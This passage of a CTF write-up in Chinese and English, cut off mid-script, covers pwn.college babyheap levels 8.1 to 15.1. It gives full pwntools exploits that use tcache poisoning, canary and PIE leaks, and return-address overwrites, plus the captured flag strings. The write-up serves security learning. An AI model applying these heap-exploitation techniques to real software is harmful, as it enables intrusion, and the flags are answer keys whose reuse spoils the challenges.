Category: Pwn ## Description > Leverage TCACHE exploits to pass a validation check. ## Write-up 参见 [Level 8.0](#level-80)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level8.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret = elf.bss() + 0x19E0A + 0x8 zero_out = elf.bss() + 0x19E0A - 0x8 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret = target.recvline().strip() malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p32(zero_out)) malloc(0, 0) malloc(0, 0) # raw_input("DEBUG") payload = flat( 0, secret, ) send_flag(payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{0K4zGLVnFNCz2zhqd0R7tWLsOLW.0lN4MDL5cTNxgzW}`] # Level 9.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to pass a validation check. ## Write-up 和上题一样,但是这次不能分配到 secret 附近了,泄漏完全不可能。不过还是可以利用 ` tcache_get` 清空 key 的特性将 secret 完全清空,这样我们就知道 secret 为 NULL 了 。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level9.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() secret_p1 = elf.bss() + (0x16364 - 0x8) secret_p2 = elf.bss() + 0x16364 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p1)) # raw_input("DEBUG") malloc(0, 0) malloc(0, 0) malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p2)) # raw_input("DEBUG") malloc(0, 0) malloc(0, 0) payload = flat(0, 0) send_flag(payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{klIR9JBrG0FfOAzXz_dLAeG0C5g.01N4MDL5cTNxgzW}`] # Level 9.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to pass a validation check. ## Write-up 参见 [Level 9.0](#level-90)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level9.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() secret_p1 = elf.bss() + (0x12821 - 0x8) secret_p2 = elf.bss() + 0x12821 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p1)) # raw_input("DEBUG") malloc(0, 0) malloc(0, 0) malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p2)) # raw_input("DEBUG") malloc(0, 0) malloc(0, 0) payload = flat(0, 0) send_flag(payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{YpgPY9CRd5Wk4FCJ7klY0D4fwXX.0FO4MDL5cTNxgzW}`] # Level 10.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to gain control flow. ## Write-up 这题嘛,保护全开,但是直接泄漏给我们栈地址和程序代码段地址了,发现后门函数 `win` ,那想法自然是令 malloc 返回栈地址,然后我们 scanf 向栈内输入数据溢出返回地址 ba labala ~ 由于程序使用了 `malloc_usable_size` 来确定输入大小,所以我们还得伪造一个 chunk s ize 来欺骗这个函数,才能得到足够的输入空间。此外,canary 也需要我们提前泄漏出来 。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level10.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"allocations is at: ") stack = int(target.recvline().strip()[:-1], 16) target.recvuntil(b"main is at: ") pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD fake_chunk = stack + 0x10 canary = stack + 0x108 win = pie_base + 0x1A00 target.success(f"stack: {hex(stack)}") target.success(f"pie_base: {hex(pie_base)}") target.success(f"fake_chunk: {hex(fake_chunk)}") target.success(f"canary: {hex(canary)}") target.success(f"win: {hex(win)}") malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(canary + 1)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl e") target.success(f"canary: {hex(canary)}") malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0) malloc(0, 0) # fake chunk payload = flat( 0, 0x200, # chunk size ) scanf(0, payload) malloc(2, 0) malloc(3, 0) free(3) free(2) # raw_input("DEBUG") scanf(2, p64(fake_chunk)) malloc(2, 0) malloc(2, 0) payload = flat( b"A" * 0xF8, canary, 0, # rbp win, ) # raw_input("DEBUG") scanf(2, payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{0qLPdKCSvtNobMR6JycB-1ThuJM.0VO4MDL5cTNxgzW}`] # Level 10.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to gain control flow. ## Write-up 参见 [Level 10.0](#level-100)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level10.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() target.recvuntil(b"allocations is at: ") stack = int(target.recvline().strip()[:-1], 16) target.recvuntil(b"main is at: ") pie_base = int(target.recvline().strip()[:-1], 16) - 0x1AFD fake_chunk = stack + 0x10 canary = stack + 0x108 win = pie_base + 0x1A00 target.success(f"stack: {hex(stack)}") target.success(f"pie_base: {hex(pie_base)}") target.success(f"fake_chunk: {hex(fake_chunk)}") target.success(f"canary: {hex(canary)}") target.success(f"win: {hex(win)}") malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(canary + 1)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl e") target.success(f"canary: {hex(canary)}") malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0) malloc(0, 0) # fake chunk payload = flat( 0, 0x200, # chunk size ) scanf(0, payload) malloc(2, 0) malloc(3, 0) free(3) free(2) # raw_input("DEBUG") scanf(2, p64(fake_chunk)) malloc(2, 0) malloc(2, 0) payload = flat( b"A" * 0xF8, canary, 0, # rbp win, ) # raw_input("DEBUG") scanf(2, payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{IVJX2ecO9cCeTd-08IgNfDhvyxY.0FM5MDL5cTNxgzW}`] # Level 11.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to gain control flow. ## Write-up 和上题类似的 goal,控制返回地址为 win 即可。但是这次没有告诉我们任何地址,需要手 动泄漏栈地址和程序基地址。 那还不简单,echo 可以泄漏 ptr 中的地址加上偏移处的值,如果我们知道了栈地址,那只 要令 ptr 中保存栈地址我们就可以泄漏任意偏移处的值了。 :::important 做这题的时候突然发现 `scanf("%0s", buf)` 其实是可以接收输入的,`%0s` 是未定义行 为,会接收任意大小输入……我本来以为不行,还想在栈上伪造 chunk 来着,现在知道原来 没必要。所以我们最后直接覆盖 scanf 的返回地址就好了,连 canary 都不需要泄漏…… ::: ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level11.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) free(0) # leak stack address # raw_input("DEBUG") echo(0, 0x8) target.recvuntil(b"Data: ") stack = ( int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") + 0x6 ) target.success(f"stack: {hex(stack)}") malloc(0, 0x20) malloc(1, 0x20) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0x20) malloc(0, 0x20) # slot 0 store stack addr # leak canary (not necessary) # echo(0, 0x1) # target.recvuntil(b"Data: ") # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"x00"), "little" ) # target.success(f"canary: {hex(canary)}") # leak pie echo(0, 0x10) target.recvuntil(b"Data: ") pie = ( int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") - 0x214E ) win = pie + 0x1B00 target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") payload = flat( b"A" * 0x10, win, ) # raw_input("DEBUG") scanf(0, payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{UR1cj-fm89XIenUymGEuLXjbqDw.0VM5MDL5cTNxgzW}`] # Level 11.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to gain control flow. ## Write-up 参见 [Level 11.0](#level-110)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level11.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) free(0) # leak stack address # raw_input("DEBUG") echo(0, 0x8) target.recvuntil(b"Data: ") stack = ( int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") + 0x6 ) target.success(f"stack: {hex(stack)}") malloc(0, 0x20) malloc(1, 0x20) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0x20) malloc(0, 0x20) # slot 0 store stack addr # leak canary (not necessary) # echo(0, 0x1) # target.recvuntil(b"Data: ") # canary = int.from_bytes(target.recvline()[:7].rjust(0x8, b"x00"), "little" ) # target.success(f"canary: {hex(canary)}") # leak pie echo(0, 0x10) target.recvuntil(b"Data: ") pie = ( int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little") - 0x1A93 ) win = pie + 0x1500 target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") payload = flat( b"A" * 0x10, win, ) # raw_input("DEBUG") scanf(0, payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{IHuI-DZpMG1vv3R_3f2K4lz3jgL.0lM5MDL5cTNxgzW}`] # Level 12.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to cause malloc() to return a stack pointer. ## Write-up ~_太简单,直接看我 exp 好了。_~ ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level12.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def stack_malloc_win(): target.sendlineafter(b": ", b"stack_malloc_win") def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) payload = flat( b"A" * 0x30, 0, 0x30, ) # raw_input("DEBUG") stack_scanf(payload) # raw_input("DEBUG") stack_free() free(0) # raw_input("DEBUG") puts(0) target.recvuntil(b"Data: ") stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little ") target.success(f"stack: {hex(stack)}") malloc(0, 0x6A) malloc(1, 0x6A) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0x6A) stack_malloc_win() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{QmZQE_PykX5z-wedw-snh6CwwtV.01M5MDL5cTNxgzW}`] # Level 12.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to cause malloc() to return a stack pointer. ## Write-up 参见 [Level 12.0](#level-120)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level12.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def stack_malloc_win(): target.sendlineafter(b": ", b"stack_malloc_win") def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0x20) payload = flat( b"A" * 0x30, 0, 0x30, ) # raw_input("DEBUG") stack_scanf(payload) # raw_input("DEBUG") stack_free() free(0) # raw_input("DEBUG") puts(0) target.recvuntil(b"Data: ") stack = int.from_bytes(target.recvline().strip().ljust(0x8, b"x00"), "little ") target.success(f"stack: {hex(stack)}") malloc(0, 0x43) malloc(1, 0x43) free(1) free(0) # raw_input("DEBUG") scanf(0, p64(stack)) malloc(0, 0x43) stack_malloc_win() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :sopiler[`pwn.college{wIhhQLe35f_W9wFoYZAeO6TJPGe.0FN5MDL5cTNxgzW}`] # Level 13.0 ## Information - Category: Pwn ## Description > Leverage calling free() on a stack pointer to read secret data. ## Write-up ~我们迎来了最简单的一集。~ ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level13.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode()) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() # raw_input("DEBUG") malloc(0, 0x3F0) payload = flat( b"A" * (0xB0), ) raw_input("DEBUG") scanf(0, payload) send_flag("A" * 0x10) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{Yz7oh0MVsBoSFEkrl1pl76sH5l0.0VN5MDL5cTNxgzW}`] # Level 13.1 ## Information - Category: Pwn ## Description > Leverage calling free() on a stack pointer to read secret data. ## Write-up 参见 [Level 13.0](#level-130)。 ~_有时候我真的觉得自己在增加碳排放,但是我不想删了全改了,先将就沿袭一下传统吧, 下次一定修改风格,下次一定(_~ ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level13.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode()) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() # raw_input("DEBUG") malloc(0, 0x3F0) payload = flat( b"A" * (0xB0), ) raw_input("DEBUG") scanf(0, payload) send_flag("A" * 0x10) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{AzMm2HpvBwKXfmMU3AoN5SEUd4H.0lN5MDL5cTNxgzW}`] # Level 14.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to obtain the flag. ## Write-up 有啥不一样吗??我之前也是这么做的…… ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level14.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() malloc(0, 0x3F0) echo(0, 0x18) target.recvuntil(b"Data: ") pie = int.from_bytes(target.recvline().strip(), "little") - 0x22DD win = pie + 0x1A22 echo(0, 0x49) target.recvuntil(b"Data: ") canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl e") target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") target.success(f"canary: {hex(canary)}") payload = flat( b"A" * 0x48, canary, 0, win, ) raw_input("DEBUG") scanf(0, payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{wQRsnVfxcvBTDBM8-XLGPXFLyGF.01N5MDL5cTNxgzW}`] # Level 14.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to obtain the flag. ## Write-up 参见 [Level 14.0](#level-140)。 :::important Theres a [golden meme](https://cdn.discordapp.com/attachments/750836456813101130 /1293074901070118942/8mb.video-xK2-TmDcop4s.mp4?ex=68e5ef58&is=68e49dd8&hm=cec4f 1c226f3911a933727a3d35ae974ce2491355f662a554d34fada240b9bed&), also, ask this ma n `isspace`。 ::: ~_总结,热心群友们个个都是谜语大师,相信他们给出的 tips 绝对是正确,够用的 xD_~ ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, process, raw_input, remote, ) FILE = "/challenge/babyheap_level14.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendline(data) def stack_free(): target.sendlineafter(b": ", b"stack_free") def stack_scanf(data): target.sendlineafter(b": ", b"stack_scanf") target.sendline(data) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x30, 0, 0x401, ) stack_scanf(payload) stack_free() malloc(0, 0x3F0) echo(0, 0x18) target.recvuntil(b"Data: ") pie = int.from_bytes(target.recvline().strip(), "little") - 0x1B8D win = pie + 0x1409 + 5 echo(0, 0x49) target.recvuntil(b"Data: ") canary = int.from_bytes(target.recvline().strip().rjust(0x8, b"x00"), "littl e") target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") target.success(f"canary: {hex(canary)}") payload = flat( b"A" * 0x48, canary, 0, win, ) raw_input("DEBUG") scanf(0, payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{89yuVXIylEt3d84DgpKZsDAT2ew.0FO5MDL5cTNxgzW}`] # Level 15.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to obtain the flag. ## Write-up UAF 被 ban 又怎样?照样拿捏。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level15.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def read(idx, size): target.sendlineafter(b": ", b"read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) echo(0, 0x28) target.recvuntil(b"Data: ") stack = int.from_bytes(target.recvline().strip(), "little") main_ret_addr = stack + 0x176 echo(0, 0x50) target.recvuntil("Data: ") pie = int.from_bytes(target.recvline().strip(), "little") - 0x33F8 win = pie + elf.sym["win"] target.success(f"stack: {hex(stack)}") target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") malloc(0, 0) malloc(1, 0) malloc(2, 0) free(2) free(1) # raw_input("DEBUG") read(0, 0x1337) payload = flat( b"A" * 0x20, main_ret_addr, ) target.sendline(payload) malloc(0, 0) # raw_input("DEBUG") malloc(0, 0) read(0, 0x1337) target.sendline(p64(win)) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{QyYR-Pj8vuLZgMayMcB0QHW1DKk.0VO5MDL5cTNxgzW}`] # Level 15.1 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to obtain the flag. ## Write-up 参见 [Level 15.0](#level-150)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p64, process, raw_input, remote, ) FILE = "/challenge/babyheap_level15.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode()) def echo(idx, offset): target.sendlineafter(b": ", b"echo") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Offset: ", str(offset).encode()) def read(idx, size): target.sendlineafter(b": ", b"read") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode()) def quit(): target.sendlineafter(b": ", b"quit") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() malloc(0, 0) echo(0, 0x28) target.recvuntil(b"Data: ") stack = int.from_bytes(target.recvline().strip(), "little") main_ret_addr = stack + 0x176 raw_input("DEBUG") echo(0, 0x50) target.recvuntil("Data: ") pie = int.from_bytes(target.recvline().strip(), "little") - 0x2110 win = pie + elf.sym["win"] target.success(f"stack: {hex(stack)}") target.success(f"pie: {hex(pie)}") target.success(f"win: {hex(win)}") malloc(0, 0) malloc(1, 0) malloc(2, 